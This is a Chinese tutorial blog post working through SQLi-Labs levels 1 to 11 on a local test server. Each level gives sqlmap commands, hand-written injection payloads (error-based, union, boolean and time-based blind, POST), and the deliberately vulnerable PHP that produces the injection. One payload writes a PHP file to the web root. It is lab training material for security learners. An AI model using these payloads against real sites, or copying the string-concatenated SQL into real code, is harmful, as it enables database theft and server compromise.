zoukankan      html  css  js  c++  java
  • 【Mysql sql inject】【入门篇】SQLi-Labs使用 part 1【01-11】

    人员流动性过大一直是乙方公司痛点。虽然试用期间都有岗前学习,但老员工忙于项目无暇带新人成长,入职新人的学习基本靠自己不断摸索。期望看相关文档就可以一蹴而是不现实的。而按部就班的学习又很难短期内将知识有效运用到工作中。

    工作中的学习需要明确目的,制定目标然后定制各个阶段的任务。 例如SQL注入学习可以把目标分化为漏洞验证、漏洞利用,从熟悉工具和原理入手之后不断的深入提升。然后再考虑漏洞修复。

    本文用SQLi-Labs作为测试环境,对学习SQL注入按利用工具、手工测试做粗浅总结;

    一、环境介绍

    SQLi-Labs 是一个专业的SQL注入练习平台

    下面的测试场景都支持GET和POST两种注入方式:

    1.报错注入(联合查询) 
    1)字符型 
    2)数字型 
    2.报错注入(基于二次注入) 
    3.盲注 
    1)基于布尔值 
    2)基于时间 
    4.UPDATE型注入练习 
    5.INSERT型注入练

    1. HTTP头部注入 
      1)基于Referer 
      2)基于UserAgent 
      3)基于Cookie
    2. 二次排序注入练习

    二、工具准备

    1、SQLMAPSQL注入工具
    2、BURPSUITE:监控每一次请求包的HTTP状态
    3、Seay源代码审计系统插件:Mysql监控
    4、编码转换:
    1http://www.107000.com/T-Hex/
    2python自带:print "hex数值".decode("hex")

    三、环境搭建

    phpstudy开启mysql日志、apache日志
    windows 7设置目录为完全控制;
    源码地址:SQLi-Labs
    https://github.com/Audi-1/sqli-labs

    TIPS:为了更清楚的摸索架构,MYSQL中我又新建了数据库[the_flag_db]、数据表[the_flag_table]、数据内容[flags{Hello,Iamflags]; 
    建表语句

    SET FOREIGN_KEY_CHECKS=0;
     
    -- ----------------------------
    -- Table structure for `the_flag_table`
    -- ----------------------------
    DROP TABLE IF EXISTS `the_flag_table`;
    CREATE TABLE `the_flag_table` (
    `the_flag_content` varchar(20) DEFAULT NULL,
    `the_value123456` int(20) DEFAULT NULL
    ) ENGINE=MyISAM DEFAULT CHARSET=gbk;
     
    -- ----------------------------
    -- Records of the_flag_table
    -- ----------------------------
    INSERT INTO `the_flag_table` VALUES ('flags{Hello,Iamflags', '1');
    INSERT INTO `the_flag_table` VALUES ('flags2(hello,test)', '2');
     
    -- ----------------------------
    -- Table structure for `the_test`
    -- ----------------------------
    DROP TABLE IF EXISTS `the_test`;
    CREATE TABLE `the_test` (
    `test` int(5) DEFAULT NULL
    ) ENGINE=MyISAM DEFAULT CHARSET=gbk;
     
    -- ----------------------------
    -- Records of the_test
    -- ----------------------------

    四、学习目的

    学习SQLMAP封装的注入语句原理

    • 提炼测试语句
    • 熟悉sqlmap内部封装的Mysql注入语句

    学习php代码注入漏洞的闭合形式

    • 熟悉sql注入产生的字段
    • 漏洞验证(工具+手工)

    五、基础知识

    漏洞验证 

    当前数据库名 
    sqlmap -u “http://vul.com/vultest.php?id=1” –current-db 
    

     
    漏洞利用 

    数据库枚举 
    sqlmap -u “http://vul.com/vultest.php?id=1” –dbs 
    数据库内容 
    sqlmap -u “http://vul.com/vultest.php?id=1” -D,-T,-C,–dump-alll 
    盲注手法 
    sqlmap -u “http://vul.com/vultest.php?id=1” –technique BST 
    自动选择 
    sqlmap -u “http://vul.com/vultest.php?id=1” –batch
    

    常用选项

    sqlmap -u “http://vul.com/vultest.php?id=1” --current-db --technique BST --batch

    SQL基础

    SQL功能操作符
    数据定义 CREATE、DROP、ALTER
    数据查询 SELECT
    数据操纵 INSERT、UPDATE、DELETE
    数据控制 GRANT、REVOKE、DENY
    事务控制 BEGIN、COMMIT、ROLLBACK
    嵌入型/服务器端编程 DECLARE、EXPLAIN、OPEN、FETCH、CLOSE、PREPARE、EXECUTE、DESCRIBE
    参考了WOOYUN中注入方式的文章链接:
    >【利用insert,update和delete注入获取数据】

    六、关卡学习

    这几关是GET形式的注入

    • Less-1 Error Based- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-1/index.php?id=1" --current-db
    

    2)手工注入

    http://127.0.0.1/hacker/sqli-labs-master/Less-1/index.php?id=1' and 1=2 union select 1,updatexml(1,concat(0x7e,(select database())),1),3-- -
    

    3)注入点产生代码

    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
     
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-2 Error Based- Intiger

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-2/index.php?id=2" --current-db --threads 10 --batch --technique BES

    2)手工注入

    http://127.0.0.1/hacker/sqli-labs-master/Less-2/index.php?id=1 and 1=2 union select 1,2,updatexml(1,concat(0x7e,database()),1)-- -

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
     
    // connectivity
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-3 Error Based- String (with Twist)

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-3/index.php?id=1" --current-db --threads 10 --batch --technique BES

    2)手工注入

    http://127.0.0.1/hacker/sqli-labs-master/Less-3/index.php?id=1') and 1=2 UNION SELECT 1,2,updatexml(1,concat(0x7e,database()),1)-- -

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
     
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-4 Error Based- DoubleQuotes String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-4/index.php?id=1" --current-db --threads 10 --batch --technique BES

    2)手工注入

    http://127.0.0.1/hacker/sqli-labs-master/Less-4/index.php?id=1") and 1=2 union select 1,2,updatexml(1,concat(0x7e,(select database())),1)-- -

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
    $id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-5 Double Query- Single Quotes- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-5/index.php?id=1" --current-db --threads 10 --batch --technique BES

    2)手工注入

    http://127.0.0.1/hacker/sqli-labs-master/Less-5/index.php?id=1' union select 1,1,updatexml(1,concat(0x7e,(database())),1)-- -

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
     
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
     
    if($row)
    {
    echo '<font size="5" color="#FFFF00">';
    echo 'You are in...........';
    echo "<br>";
    echo "</font>";
    }
    else
    {
    echo '<font size="3" color="#FFFF00">';
    print_r(mysql_error());
    echo "</br></font>";
    echo '<font color= "#0000ff" font size= 3>';
    }
    }
    else { echo "Please input the ID as parameter with numeric value";}
    • Less-6 Double Query- Double Quotes- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-6/index.php?id=1" --current-db --threads 10 --batch --technique BES

    2)手工注入

    http://127.0.0.1/hacker/sqli-labs-master/Less-6/index.php?id=1" and 1=2 union select 1,1,updatexml(1,concat(0x7e,(database())),1)-- -

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
    $id = '"'.$id.'"';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-7 Dump into Outfile

    1)工具用法:

    《漏洞验证》
    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-7/index.php?id=1" --current-db --threads 10 --batch --technique BES
    《文件导出》
    这关用sqlmap没有成功.

    2)手工注入 
    经验:这关是练习的文件的写入,使用函数into outfile,导出shell总是失败,查看mysql日志看出原来是因为少了个**)**号,sqlmap语句闭合不正确无法导出文件,闭合就可以了;

    http://127.0.0.1/hacker/sqli-labs-master/Less-7/index.php?id=
    1')) union select 1,2,'<?php phpinfo(); ?>' into outfile "D:\phpStudyx64\WWW\hacker\sqli-labs-master\Less-7\union2.php"-- -

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
    $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-8 Blind- Boolian- Single Quotes- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-8/index.php?id=1" --current-db --threads 10 --batch --technique BES

    2)手工注入

    less8的注入点不显示错误信息; 
    数据库执行sql语句返回为真时:返回You are in………..,为假时不返回信息,知识点在考察盲注,所谓盲注也就是我们可以换中提问方式,数据库只需回答真或假。比如我们可以问当前数据库的第一个之母为m吗?数据库回答是这里则返回You are in………..,不是则不返回。 
    相关知识点:

    涉及函数函数功能
    ORD() 返回字符串第一个字符的 ASCII 值。
    MID() MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代
    char_length() 不管汉字还是数字或者是字母都算是一个字符。

    截取SQLMAP测试语句

    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>51 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>54 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>56 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>55 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),2,1))>51 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),2,1))>48 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),2,1))>1 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>96 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>96 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>96 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>96 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>96 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>96 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>96 AND 'adpz'='adpz

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-9 Blind- Time based- Single Quotes- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-9/index.php?id=1" --current-db --threads 10 --batch --technique BEST

    2)手工注入 
    相关知识点:考察时间盲注知识;

    涉及函数函数功能
    ORD() 返回字符串第一个字符的 ASCII 值。
    MID() MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代
    sleep() 适用 MySQL 5,延时时间执行。
    BENCHMARK() 适用 MySQL 4/5 ,延时时间执行。

    截取SQLMAP测试语句

    ID:1' AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>1,0,2)))))cCsF) AND 'JQMs'='JQMs

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
     
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-10 Blind- Time based- Double Quotes- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-9/index.php?id=1" --current-db --threads 10 --batch --technique BEST

    2)手工注入

    Less-9类似,也是基于时间的盲注,只不过需要 " 来闭合。

    3)注入点产生代码

    // take the variables
    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
    $id = '"'.$id.'"';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    SQLMAP 工具技巧
    • Less-9&Less-10 
      想要用SQLMAP测试实际的时间盲注语句,可以用下面的这条命令;
    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-9/index.php?id=1" -D the_flag_db -T the_flag_table -C the_flag_content --dump --level 5 --risk 3 --technique T

     

    这几关是POST形式的注入

    • Less-11 - POST - Error Based - Single quotes - String

    1)工具用法:

    SQLMAP POST注入用法之一,注入点处加 * 号,也可以用-r选项。
    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-11/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BES

    2)手工注入

    这里用了burpsuite的repeater模块,在用户名处产生。用报错语句可以很快拿出数据,POST型注入用工具跑得好久。。。

    POST /hacker/sqli-labs-master/Less-11/index.php?id=1 HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 89
     
    uname=111' or 1=((updatexml(1,concat(0x7e,(database())),1)))-- -&passwd=111&submit=Submit

    3)注入点产生代码

    // take the variables
    if(isset($_POST['uname']) && isset($_POST['passwd']))
    {
    $uname=$_POST['uname'];
    $passwd=$_POST['passwd'];
     
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Name:'.$uname);
    fwrite($fp,'Password:'.$passwd."
    ");
    fclose($fp);
     
     
    // connectivity
    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
  • 相关阅读:
    我的WCF之旅(1):创建一个简单的WCF程序
    网页设计中颜色的搭配
    CSS HACK:全面兼容IE6/IE7/IE8/FF的CSS HACK
    UVa 1326 Jurassic Remains
    UVa 10340 All in All
    UVa 673 Parentheses Balance
    UVa 442 Matrix Chain Multiplication
    UVa 10970 Big Chocolate
    UVa 679 Dropping Balls
    UVa 133 The Dole Queue
  • 原文地址:https://www.cnblogs.com/17bdw/p/5516876.html
Copyright © 2011-2022 走看看